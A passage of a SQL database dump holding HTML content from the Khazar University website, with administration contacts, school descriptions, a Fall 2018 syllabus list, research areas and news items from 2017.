area'),(54,61,'en','second link','','second link   <div>second link  <br></div><div>second link  <br></div><div>second link  <br></div>'),(55,51,'en','menu3','menu3','<p>Khazar university is a private educational institution for undergraduate, graduate and professional studies promoting advanced study and<strong>&nbsp;</strong>research, educational policy and development in the Republic of Azerbaijan.</p><p><a href=\"http://khazar.wilsa.net/files/multimedia_COURSE.docx\">Khazar</a> university is the first University in Azerbaijan composed of multiple independent schools united by the same academic policy and principles, which offer a wide scope of diverse majors in Arts, Humanities and Social Sciences, Architecture, Engineering and Applied Sciences, Economics, Management and Business Administration, Education.</p><p>Khazar also one of the leading universities in Azerbaijan in terms its relations with industry.</p><p>Today the University has established effective relations with the leading local and international companies.</p><p>Professors of Khazar have earned recognition and leadership in their professional fields or are business leaders, artists and lawyers with national and international reputations.</p><p>Graduate studies including Professional, Ph.D. and Master programs, and the most extensive MBA program in Azerbaijan, have an important place in the University\'s education profile.</p>'),(56,63,'en','Administration','Administration','<p><strong>Hassan Niknafs</strong><br></p><p>Ph.D., Professor, Rector</p><p>Acting Dean of the School of Engineering and Applied Sciences</p><p>E-mail:&nbsp;<a href=\"mailto:hniknafs@khazar.org\">hniknafs[at]khazar.org</a><br></p><p><br></p><p><strong>Mahammad Nuriyev</strong></p><p>Professor, Doctor of Science, Vice Rector for Academic Affairs</p><p>E-mail:&nbsp;<a href=\"mailto:mnouriev@khazar.org\">mnouriev[at]khazar.org</a><br></p><p><br></p><p><strong>Isakhan Isakhanli</strong></p><p>Ph.D., Vice Rector for Administration &amp; Student Affairs</p><p><a href=\"mailto:iisaxanli@khazar.org\"></a>E-mail:&nbsp;<a href=\"mailto:iisaxanli@khazar.org\">iisaxanli[at]khazar.org</a>  <a href=\"http://mailto:iisaxanli@khazar.org/\"></a>  </p><p><br></p><p><strong>Eldar Shahgaldiyev</strong></p><p>Ph.D., Head of the&nbsp;Division of Graduate Studies and Research<a href=\"http://www.khazar.org/en/menus/68/alumni#\"></a></p><p>Associate Vice Rector for Graduate Studies and Research</p><p><a href=\"mailto:eshahgaldiyev@khazar.org\"></a>E-mail:&nbsp;<a href=\"mailto:eshahgaldiyev@khazar.org\">eshahgaldiyev[at]khazar.org</a>  <a href=\"http://mailto:eshahgaldiyev@khazar.org/\"></a>  <a href=\"mailto:eshahgaldiyev@khazar.org\"></a></p><p><br></p><p><strong>Irada Khalilova</strong></p><p>Ph.D., Vice-Rector for Research<br></p><p>E-mail:&nbsp;<a href=\"http://mailto:ikhalilova@khazar.org/\"></a><a href=\"mailto:ikhalilova@khazar.org\">ikhalilova[at]khazar.org</a><br></p><p><strong><br></strong></p><p><strong>Nailakhanim Isayeva</strong></p><p>MA, Advisor for Humanitarian and Administrative Affairs</p><p>E-mail:&nbsp;<a href=\"mailto:nisayeva@khazar.org\">nisayeva[at]khazar.org</a><br></p><p><strong><br></strong></p><p><strong>Raziya Isayeva</strong></p><p>MBA,&nbsp;Director, Development Center</p><p>E-mail:&nbsp;<a href=\"mailto:risayeva@khazar.org\">risayeva[at]khazar.org</a><br></p><p><strong><br></strong></p><p><strong>Alovsat Amirbeyli</strong></p><p>MA, Director, Public Relations and Media</p><p>E-mail:&nbsp;<a href=\"mailto:aamirbeyli@khazar.org\">aamirbeyli[at]khazar.org</a><br></p><p><strong><br></strong></p><p><strong>Jeyhun&nbsp;Mammadov</strong></p><p>Ph.D., Dean of the School of Economics and Management</p><p>E-mail:&nbsp;<a href=\"mailto:jmammadov@khazar.org\">jmammadov[at]khazar.org</a><br></p><p><strong><br></strong></p><p><strong>Jabir Khalilov</strong></p><p>Associate Professor, Ph.D., Dean of the School of Humanities and Social Sciences</p><p>E-mail:&nbsp;<a href=\"mailto:cxalilov@khazar.org\">cxalilov[at]khazar.org</a><br></p><p><strong><br></strong></p><p><strong>Elza Samedova</strong></p><p>Associate Professor, Ph.D., Dean of the School of Education</p><p>E-mail:&nbsp;<a href=\"mailto:esemedova@khazar.org\">esemedova[at]khazar.org</a><br></p><p><br></p><p><strong>Turan Jafarova</strong></p><p>MA,&nbsp;Director of&nbsp;International Affairs Office</p><p>E-mail:&nbsp;<a href=\"http://mailto:tjafarova@khazar.org/\"></a><a href=\"mailto:tjafarova@khazar.org\">tjafarova[at]khazar.org</a><br></p>'),(57,55,'en','School of Engineering and Applied Sciences','School of Engineering and Applied Sciences','<h3></h3><h3 style=\"color:#ff00cc\"><a href=\"http://www.khazar.org/en/menus/175/dean_s_office\" style=\"color:#cc3333\">Dean\'s office</a></h3><h3 style=\"color:#ff00cc\"><a href=\"http://www.khazar.org/en/menus/175/dean_s_office\"></a><span style=\"color:#cc3333\">Academic Departments</span></h3><p><strong><span style=\"text-decoration:underline\"></span></strong><strong><a href=\"http://www.khazar.org/en/menus/133/mathematics\">Mathematics</a>&nbsp;</strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/123/computer_science\">Computer&nbsp;Sciences&nbsp;and Computer Engineering</a></strong></p><p><a href=\"http://www.khazar.org/en/menus/128/electronics_telecommunications_and_radio_engineering\"><strong>Electronics,\r\nTelecommunications and Radio Engineering</strong></a></p><p><a href=\"http://www.khazar.org/en/menus/121/civil_engineering\"><strong>Civil Engineering</strong></a></p><p><a href=\"http://www.khazar.org/en/menus/136/petroleum_engineering\"><strong>Petroleum Engineering</strong></a></p><p><a href=\"http://www.khazar.org/en/menus/122/chemical_engineering\"><strong>Chemical Engineering and Chemistry</strong></a></p><p><strong><a href=\"http://www.khazar.org/en/menus/118/biomedical_engineering\">Biomedical Engineering</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/1105/mechanical_engineering\">Mechanical Engineering</a></strong></p>'),(2190,1339,'en','Book on Mammad Amin Rasulzadeh’s Works (Migration period: Turkey, 1922-1929) Prepared for Publication ','Nasiman Yagublu, instructor of Khazar University’s Department of History and Archeology, has prepared a book entitled “Mammad Amin Rasulzadeh’s Works...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Nasiman Yagublu, instructor of Khazar\r\nUniversity’s Department of History and Archeology, has prepared a book entitled\r\n“Mammad Amin Rasulzadeh’s Works (Migration period: Turkey, 1922-1929)” for\r\npublication. The book includes works of Rasulzadeh from the 1920s. It also\r\nincludes detailed information about Azerbaijani history, the struggle for\r\nindependence, and the Azerbaijani Democratic Republic of 1918-1920. At the same\r\ntime, the author sharply criticizes the aggressive nature of the Soviet regime\r\nand its policies of enslaving people groups. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The book will be useful for researchers\r\nstudying Azerbaijan and its 20th century history, politicians, diplomats, and\r\njournalists.&nbsp;</p>'),(58,64,'en','School of Economics and Management','School of Economics and Management','<h3><strong style=\"font-size:large\">General information</strong></h3><p>Established in 1991, the School of Economics and Management (SEM) at Khazar University has become a leading business school in Azerbaijan, and has earned an international reputation for its commitment to quality and innovation in the design and delivery of its programs and courses. It has been a pioneer in the introduction and development of an open Western learning system in Azerbaijan, adapted to the regional needs.&nbsp;</p><p>The SEM offers undergraduate, graduate and professional programs leading to Bachelor\'s, Master\'s and Ph.D. degrees. With its outstanding faculty and dedicated students, the School envisions its mission as developing specialists in Economics, International Economics, Marketing, Finance, Accounting, Management, International Business and other areas, who could successfully perform in national and international business environments.</p><p>The School’s graduate programs are specifically designed to meet academic requirements of successful and experienced business people, as well as those coming to business for the first time, and to provide an in-depth understanding of business and management.  <br></p><h3><strong>Rationale and Objectives<br></strong></h3><p style=\"text-align:justify\">To manage successfully in the modern market economy specialists with various business background and majors are required. The SEM is committed to teaching and research in various areas of Economics and Business.</p><p style=\"text-align:justify\">The School maintains very close contacts with the local business community, international organizations and financial institutions.</p><p>The objectives of the school are to:<br></p>\r\n<ul><li>create an educational platform upon which the graduates can build business and social capability through</li><li>a lifetime of continuing growth and development</li><li>provide career opportunities in a wide variety of professional fields</li><li>provide a general understanding of managerial processes that apply to both private and public sectors</li></ul>'),(59,65,'en','School of Education','School of Education','<h3>Mission</h3><p>Traditionally, the people of Azerbaijan have been education-oriented. Although during the Soviet period a high level of education was reached in Azerbaijan, collapse of the Soviet system and a rapidly changing environment required new approaches and well-prepared strategies for development of education on all levels – preschool, primary school, secondary school, vocational and two-year technical colleges as well as full undergraduate and graduate studies.</p><p>Organic unity of academic knowledge, professional training and practice is the foundation of all programs concerning preparation of teachers, educators, scholars and administrators. Accordingly, the main objectives of the School of Education are to conduct research in various fields of education, to develop educational policy and strategy, and to nurture future teachers with a breadth of knowledge in education, humanities, and sciences and equip them with advanced skills and modern teaching methods. Special attention is paid to transferring skills and knowledge that would enable the students to creatively combine national values and traditions with universal values and norms in their future teaching, research and human development activities.</p><p>The School of Education is engaged in various research and consultation activities in relation to education and for this purpose it cooperates with the Ministry of Education and with some private educational institutions.</p><p>The School also provides in-service training for professionals in the field of education and human development as well as other educational services.</p><p>At present, the major aim of the School is to train teachers and educators qualified to teach at every educational level. The theoretical as well as applied courses that the School offers enable prospective teachers to become professionals who are constantly in touch with recent scientific and technological developments and who have the willingness and capacity to apply these developments to their own teaching activities.</p><p><br></p><h3>Contact</h3>  <p><strong><a href=\"http://www.khazar.org/files/CV.%20Elza_Semedli.pdf\"><img src=\"/files/azelang_depart/elza_s.jpg\" style=\"width:150px;height:175px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/education/CV/elza_semedli_cv.pdf\">Elza Semedova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/CV.%20Elza_Semedli.pdf\"></a></strong><strong>Ph.D&nbsp;</strong><strong><strong>Dean of the School</strong></strong></p><p><strong><strong></strong></strong><strong>Phone:&nbsp;</strong>(+994&nbsp;12) 421 10 93 (253)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:esemedova@khazar.org\">esemedova[at]khazar.org</a></p>  <p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/pdf/14_10_30_Aygun_Verdiyeva.jpg\" style=\"width:150px;height:214px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/CV%20Aygun_Verdiyeva.pdf\">Aygun Verdiyeva</a></strong></p><p><strong><strong>Vice-Dean&nbsp;</strong></strong></p><p><strong><strong></strong></strong><strong>Phone:&nbsp;</strong>(+994&nbsp;12) 421 10 93 (233)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:averdiyeva@khazar.org\">averdiyeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><strong><img src=\"/files/education/images/sayad_aslanli.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/education/CV-Sayad_Aslanli.pdf\">Sayad Aslanli</a></strong></strong></p><p><strong><strong>Dean assistant</strong></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:saslanli@khazar.org\">saslanli[at]khazar.org</a></p><p><strong><strong><br></strong></strong></p><p><br></p><hr>\r\n<p><strong><img src=\"/files/education/images/nizami_aliyev.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/education/CV/CV-Europass-20181018-Aliyev-EN.pdf\">Nizami Aliyev</a></strong></p><p><strong><strong><strong>Dean assistant</strong></strong></strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:naliyev@khazar.org\">naliyev[at]khazar.org</a><br></p>'),(2187,1340,'en','Syllabus','Syllabus','<h2>Fall 2018&nbsp;</h2><h3>Department of Education</h3><p><a href=\"http://www.khazar.org/files/education/CV/%C4%B0ntroduction_to_Education%20%20(Goshgar%20Maharramov).pdf\">Introduction_to_Education&nbsp; (Goshgar Maharramov)</a><br></p><p><a href=\"http://www.khazar.org/files/education/CV/Introduction%20to%20Education%20(Ulkar%20Bayramova).pdf\">Introduction_to_Education (Ulkar Bayramova)</a><br></p><p><a href=\"http://www.khazar.org/files/education/CV/Introduction%20to%20Writing%20(Konul%20Mahyaddinova).pdf\">Introduction_to_Writing (Konul Mahyaddinova)</a><br></p><p><a href=\"http://www.khazar.org/files/education/CV/Natural%20Science%20Education%20(Konul%20Mahyaddinova).pdf\">Natural_Science_Education (Konul Mahyaddinova)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/CV/Special%20Education%20(Qaisar%20Sultana).pdf\">Special_Education (Qaisar Sultana)</a><br></p><p><a href=\"http://www.khazar.org/files/education/CV/Special%20Education%20(Kamala%20Aliyeva).pdf\">Special_Education (Kamala Aliyeva)</a><br></p><p><a href=\"http://www.khazar.org/files/education/CV/Teaching_Methods%20of%20Azerbaijani%20Language%20(Elza%20Samadli).pdf\">Teaching_Methods_of_Azerbaijani_Language (Elza Samadli)</a></p><p><a href=\"http://www.khazar.org/files/education/CV/Educational%20Psychology%20(Aytac%20Sahil).pdf\">Educational_Psychology (Aytac Sahil)</a></p><p><br></p><h3>Department of History and Archeology&nbsp;</h3><p><a href=\"http://www.khazar.org/files/education/Archeology%20(Orkhan%20Zamanov).pdf\">Archeology (Orkhan Zamanov)</a><br></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani%20History%20-%201%20(Ulviyya%20%C4%B0brahimli).pdf\">Azerbaijani History - 1 (Ulviyya İbrahimli)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani%20History%20-%203%20(Nasiman%20Yagublu).pdf\">Azerbaijani History - 3 (Nasiman Yagublu)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani%20History%20(Khagan%20Balayev).pdf\">Azerbaijani History (Khagan Balayev)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/History%20of%20Caucasus%20%20people%20(Telman%20Guliyev).pdf\">History of Caucasus&nbsp; people (Telman Guliyev)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/History%20of%20Medieval%20%20East%20(Habil%20Mammadov).pdf\">History of Medieval&nbsp; East (Habil Mammadov)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/History%20of%20Medieval%20Europe%20(Sayad%20Mekhdizadeh).pdf\">History of Medieval Europe (Sayad Mekhdizadeh)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/History%20of%20World%20Civilizations%20-%201%20(Orkhan%20Zamanov).pdf\">History of World Civilizations - 1 (Orkhan Zamanov)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/New%20History%20of%20Europe%20and%20America%20%20(Araz%20Aslanli).pdf\">New History of Europe and America&nbsp; (Araz Aslanli)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Subsidiary%20historical%20subjects%20(Orkhan%20Zamanov).pdf\">Subsidiary historical subjects (Orkhan Zamanov)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Turkic%20World%20Culture%20(Telman%20Guliyev).pdf\">Turkic World Culture (Telman Guliyev)</a>  <br></p><p><br></p><h3>Department of Azerbaijan Language and Literature&nbsp;</h3><p><a href=\"http://www.khazar.org/files/education/History%20of%20Azerbaijani%20Literature-1%20(Aynur%20Gazanfargizi).pdf\">History of Azerbaijani Literature-1 (Aynur Gazanfargizi)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani%20Language%20(Hilala%20%C4%B0badoba).pdf\">Azerbaijani Language (Hilala İbadoba)</a><br></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani%20Language%20(Reykhan%20Madatova).pdf\">Azerbaijani Language (Reykhan Madatova)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/World%20Literature%20-%203%20(Gardashkhan%20Azizov).pdf\">World Literature - 3 (Gardashkhan Azizov)</a><br></p><p><a href=\"http://www.khazar.org/files/education/History%20of%20Azerbaijani%20Literature%20-%201%20(Vurgun%20Eyyub).pdf\">History of Azerbaijani Literature - 1 (Vurgun Eyyub)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/History%20of%20Azerbaijani%20Literature%20-%203%20(Vurgun%20Eyyub).pdf\">History of Azerbaijani Literature - 3 (Vurgun Eyyub)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Old%20Alphabet%20(Zivar%20Huseynli%20Baylan).pdf\">Old Alphabet (Zivar Huseynli Baylan)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Old%20Alphabet%20(Khatira%20Yusifova).pdf\">Old Alphabet (Khatira Yusifova)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Linguistics%20(%C4%B0laha%20Gurbanova).pdf\">Introduction to Linguistics (İlaha Gurbanova)</a><br></p><p><a href=\"http://www.khazar.org/files/education/Modern%20Azerbaijani%20language%20-%201%20(%C4%B0laha%20Gurbanova).pdf\">Modern Azerbaijani language - 1 (İlaha Gurbanova)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Modern%20Azerbaijani%20language%20-%201%20(Reykhan%20Madatova).pdf\">Modern Azerbaijani language - 1 (Reykhan Madatova)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Modern%20Azerbaijani%20language%20-%203%20(Reykhan%20Madatova).pdf\">Modern Azerbaijani language - 3 (Reykhan Madatova)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijanin%20dialectology%20(Gatiba%20Guliyeva).pdf\">Azerbaijanin dialectology (Gatiba Guliyeva)</a><br></p><p><a href=\"http://www.khazar.org/files/education/Modern%20Literary%20movements%20(Dilbar%20Zeynalova).pdf\">Modern Literary movements (Dilbar Zeynalova)</a></p><p><br></p><h3>Department of Mathematics&nbsp;</h3><p><a href=\"http://www.khazar.org/files/education/Analytical%20geometry%20(Tarlan%20Garayev).pdf\">Analytical geometry (Tarlan Garayev)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Math%20analysis%20-%201%20(Tarlan%20Garayev).pdf\">Math analysis - 1 (Tarlan Garayev)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Math%20analysis%20-%202%20(Ali%20Huseynli).pdf\">Math analysis - 2 (Ali Huseynli)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Math%20analysis%20-%203%20(Nazim%20Karimov).pdf\">Math analysis - 3 (Nazim Karimov)</a></p><p> <a href=\"http://www.khazar.org/files/education/Probability%20theory%20(%C4%B0lham%20Aliyev).pdf\">Probability theory (İlham Aliyev)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Teaching%20Methods%20of%20Math%20(Tarlan%20Garayev).pdf\">Teaching Methods of Math (Tarlan Garayev)</a>  <br></p><p><br></p><h3>Department of Biology&nbsp;</h3><p><a href=\"http://www.khazar.org/files/education/Botanics%20-%202%20(Gulafat%20Shafiyeva).pdf\">Botanics - 2 (Gulafat Shafiyeva)</a></p><p><a href=\"http://www.khazar.org/files/education/Environmental%20Science%20and%20biotechnology%20(Javid%20Ocagi).pdf\">Environmental Science and biotechnology (Javid Ocagi)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/General%20biology%20(Javid%20Ocagi).pdf\">General biology (Javid Ocagi)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Human%20and%20animal%20physiology%20(Asaf%20Omarov).pdf\">Human and animal physiology (Asaf Omarov)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Life%20Science%20A%20(Parviz%20Nassirov).pdf\">Life Science A (Parviz Nassirov)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Life%20Science%20B%20(Parvana%20Bakhshaliyeva).pdf\">Life Science B (Parvana Bakhshaliyeva)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Life%20Science%20C%20(Parvana%20Bakhshaliyeva).pdf\">Life Science C (Parvana Bakhshaliyeva)</a></p><p><a href=\"http://www.khazar.org/files/education/Life%20Science%20D%20(Parvana%20Bakhshaliyeva).pdf\">Life Science D (Parvana Bakhshaliyeva)</a></p><p><a href=\"http://www.khazar.org/files/education/Molecular%20genetics%20(Javid%20Ocagi).pdf\">Molecular genetics (Javid Ocagi)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Zoology%20-%201%20(Huseyn%20Jafarov).pdf\">Zoology - 1 (Huseyn Jafarov)</a>  <br></p><p><br></p><h3>Department of Computer Science</h3><p><a href=\"http://www.khazar.org/files/education/Computer%20networks%20and%20communications%20(Asim%20Namazov).pdf\">Computer networks and communications (Asim Namazov)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/C-programming%20languages%20(%C4%B0smayil%20%C4%B0smayilov).pdf\">C-programming languages (İsmayil İsmayilov)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Fundamentals%20of%20computer%20programming%20(Mahammad%20Sharifov).pdf\">Fundamentals of computer programming (Mahammad Sharifov)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Computer%20Science%20A%20(Zeynab%20Muradkhanli).pdf\">Introduction to Computer Science A (Zeynab Muradkhanli)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Computer%20Science%20B%20(Zeynab%20Muradkhanli).pdf\">Introduction to Computer Science B (Zeynab Muradkhanli)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Computer%20Science%20C%20(Parvana%20Salmanova).pdf\">Introduction to Computer Science C (Parvana Salmanova)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Computer%20Science%20D%20(Shahla%20Ahmadova).pdf\">Introduction to Computer Science D (Shahla Ahmadova)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Computer%20Science%20E%20(Zeynab%20Muradkhanli).pdf\">Introduction to Computer Science E (Zeynab Muradkhanli)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Computer%20Science%20F%20(Zeynab%20Muradkhanli).pdf\">Introduction to Computer Science F (Zeynab Muradkhanli)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Numerical%20software%20applications%20(%C4%B0zzet%20Shahsenov).pdf\">Numerical software applications (İzzet Shahsenov)</a>&nbsp;</p><p><br></p><h3>Department of Physics  <br></h3><p><a href=\"http://www.khazar.org/files/education/Nuclear%20physics%20(Farida%20Tatardar).pdf\">Nuclear physics (Farida Tatardar)</a></p><p><a href=\"http://www.khazar.org/files/education/Electromagnethism%20(Nuru%20Safarov).pdf\">Electromagnethism (Nuru Safarov)</a>&nbsp;</p><p><br></p><h3>Department of Geography<br></h3><p><a href=\"http://www.khazar.org/files/education/Environmental%20Science%20(Rashad%20Allahverdiyev).pdf\">Environmental Science (Rashad Allahverdiyev)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Remote%20Sensing%20(Elvin%20Aliyev).pdf\">Remote Sensing (Elvin Aliyev)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Soil%20sciences%20(Javidan%20Aliyev).pdf\">Soil sciences (Javidan Aliyev)</a>  <br></p><p><br></p><h3>Department of Psychology&nbsp;</h3><p><a href=\"http://www.khazar.org/files/education/CV/Introduction%20to%20Psychology.%20Child%20development%20(Kamala%20Aliyeva).pdf\">Introduction to Psychology. Child development (Kamala Aliyeva)</a><br></p><p><a href=\"http://www.khazar.org/files/education/CV/Educational_Psychology%20(Aytac%20Sahil).pdf\">Educational Psychology (Aytac Sahil)</a>  <br></p><p><br></p><h3>Language and Culture Department&nbsp;</h3><p><a href=\"http://www.khazar.org/files/education/German%20Language%20-%201%20A%20(Sevinj%20Allahverdiyeva).pdf\">German Language - 1 A (Sevinj Allahverdiyeva)</a><br></p><p><br></p><h3>Graduate courses</h3><p><a href=\"http://www.khazar.org/files/education/Educational%20Administration%20(Raziya%20%C4%B0sayeva).pdf\">Educational Administration (Raziya İsayeva)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Financial%20Accounting%20(Elnur%20Ramazanov).pdf\">Financial Accounting (Elnur Ramazanov)</a><br></p><p><a href=\"http://www.khazar.org/files/education/International%20Management%20(Elnur%20Huseynov).pdf\">International Management (Elnur Huseynov)</a>  <br></p><p><a href=\"http://www.khazar.org/files/education/Modern%20Educational%20Philosophy%20(Goshgar%20Maharramov).pdf\">Modern Educational Philosophy (Goshgar Maharramov)</a><br></p><p><a href=\"http://www.khazar.org/files/education/Research%20Methods%20(Lala%20Ganiyeva).pdf\">Research Methods (Lala Ganiyeva)</a>&nbsp;</p>'),(6210,3535,'en','Area of Research','Area of Research','<h3>Data Science/ Machine learning/Deep learning</h3><p>1. Used for seismic data to predict rock properties from pre-stack seismic data.</p><p>2. Used on numerical simulation data to create surrogate reservoir models.</p>\r\n<h3>Numerical Simulations</h3><p>1. Lattice-Boltzmann Method (LBM) for estimation of physical properties of different media.</p><p>2. Thermodynamic Modeling (Perturbed Chain Statistical Association Theory- Multi Solid Models (PC-SAFT-MS) for predicting crude oil properties.</p><p>3. Static and Dynamic Reservoir Modeling.</p>\r\n<h3>Petroleum Engineering</h3><p>1. Studies of rock compaction for exploration purposes and basin modeling purposes.</p><p>2. Reservoir characterization using outcrop analogs.</p>'),(6211,3535,'az','Tədqiqat sahəsi','Tədqiqat sahəsi','<h3></h3><h3>Verilənlər elmi “Data Science”/ Maşın öyrənməsi “Machine Learning”/ Dərin öyrənmə “Deep Learning”</h3>\r\n<p>1. Seysmik verilənlərdə süxurların xassələrini “Pre-stack” seysmik verilənlərdən proqnozlaşdırmaq üçün üçün istifadə olunur.</p><p>2. Surroqat rezervuar modellərinin yaradılması üçün ədədi simulyasiya verilənləri üzərində istifadə olunur.</p>\r\n<h3>Ədədi Simulyasiyalar</h3><p>1. Müxtəlif mühitlərin fiziki xassələrinin hesablanması üçün” Lattice-Boltzman” metodunun istifadəsi.</p>\r\n<p>2. Termodinamik modelləşdirmə “Perturbed Chain Statistical Association Theory- Multi Solid Models (PC-SAFT-MS)” xam neftin xassələrini proqnozlaşdırılması üçün istifadə olunur.</p>\r\n<h3>Neft Mühəndisliyi</h3><p>1. Kəşfiyyat məqsədləri və hövzə modelləşdirməsi məqsədləri üçün süxurların sıxılmasının tədqiqi.</p><p>2. Süxurların çıxıntılarının analoqlarını istifadə edərək, rezervuarın xarakteristikasının yaradılması.</p>'),(4272,2518,'en','An instructor of Khazar University participated in a conference organised on the occasion of Hafiz Shirazi Day','On October 12, 2017, Assoc. Prof. Sevinj Agayeva, the instructor of the Department of Azerbaijani Language and Literature...','<p>On October 12, 2017, Assoc. Prof. Sevinj Agayeva, the instructor of the Department of Azerbaijani Language and Literature, at the invitation of the Cultural Center of the Embassy of the Islamic Republic of Iran in Azerbaijan, attended the conference entitled \"The role and importance of Persian language in the cultural and literary relations between Iran and Azerbaijan\", organized on the occasion of the Iranian poet Hafiz Shirazi.</p>'),(4273,2517,'en','The Library-Information Centre conducted a training for the MA students of the English Language and Literature Department','On October 12, 2017, Aytaj Misgarli and Samira Orujova, the employees of the Library-Information...','<p>On October 12, 2017, Aytaj Misgarli and Samira Orujova, the employees of the Library-Information Centre held a training on ‘Rules of effective use of information sources’ for the MA students of the English language and Literature Department.</p>'),(4274,2519,'en','Delegation of Khazar University meets with Ambassador of Azerbaijan to UNESCO','On October 12, 2017, the delegation of Khazar University headed by Prof. Hamlet Isakhanli had a meeting with Mr. Anar Karimov...','<p>On October 12, 2017, the delegation of Khazar University headed by Prof. Hamlet Isakhanli had a meeting with Mr. Anar Karimov, the Ambassador and Permanent Delegate of Azerbaijan to UNESCO. The meeting took place at UNESCO Headquarters in Paris, France.</p><p>Prof. Hamlet Isakhanli spoke about Khazar University, its high achievements in world university rankings and its projects. The Ambassador was impressed by Khazar University’s successes and wished good luck. They also discussed future cooperation between Khazar University and UNESCO in the field of science and education in particular.</p><p>On the same day, the delegation of Khazar University also visited the Victor Hugo School and met with Mr. France Ponsart, the head of school. The representatives of both Victor Hugo school and Dunya school gave presentations about their schools and cooperation opportunities have been discussed between two parties.</p><p>The members of delegation include administrative staff members of Khazar University (Rector Dr. Hassan Niknafs, Vice-Rector for Research Dr. Irada Khalilova, Development Center Director Ms. Raziya Isayeva, Psychology Department Coordinator Ms. Ulkar Isayeva, Director of International Affairs Office Ms. Turan Jafarova) and its affiliate Dunya School (co-founder of Dunya School Ms. Naila Isayeva, Principal of Dunya School Ms. Marufa Madatli, IB Program Coordinator Ms. Rena Hasanova).</p><p>This trip was organized jointly by Khazar University and Paris Sorbonne University Abu Dhabi and supported by the Embassy of Azerbaijan Republic in France.</p>'),(3557,2087,'en','Our International Exchange Student is a Finalist','Michał Horbaczewski, a bachelor exchange student from Kozminski University (Poland) who studies this current spring semester at Khazar University within the...','<p>Michał Horbaczewski, a bachelor exchange student from Kozminski\r\nUniversity (Poland) who studies this current spring semester at Khazar\r\nUniversity within the Erasmus + Programme became one of the nine finalists of\r\nthe competition held within the «The Idea Platform of Foreign Youth\r\nand Students\" project.</p>\r\n<p>\"The\r\nIdea Platform of Foreign Youth and Students\" project\r\nis financed\r\nby the Youth Foundation under the President of the Republic of Azerbaijan and\r\nis carried out by the Baku International Student Club withsupport\r\nof the Graduate\r\nStudent Government of ADA University. The goal of the project is to create a platform for international\r\nstudents and youth in Baku for expressing their views on topics and causes of\r\ntheir interest.</p>\r\n<p style=\"\" text-align:justify\"=\"\">About 30\r\nstudents from 15 countries and 10 universities competed in the semifal of the competition\r\nand only nine of them made it to the final stage. Michal, who delivered a\r\npresentation about youth entrepreneurship at the semifinal stage, will be\r\ncompeting against students from Turkey, Russia, Yemen, Nigeria,Mozambique, Ukraine, and Syria in the final.</p><p style=\"\" text-align:justify\"=\"\">The final stage of the competition will be\r\nheld on April 25, 2017 at ADA University. We wish our student good luck!</p>'),(2188,1340,'az','Sillabuslar','Sillabuslar','<h2>Payız 2018</h2><h3>Tarix və Arxeologiya Departamenti&nbsp;</h3><p 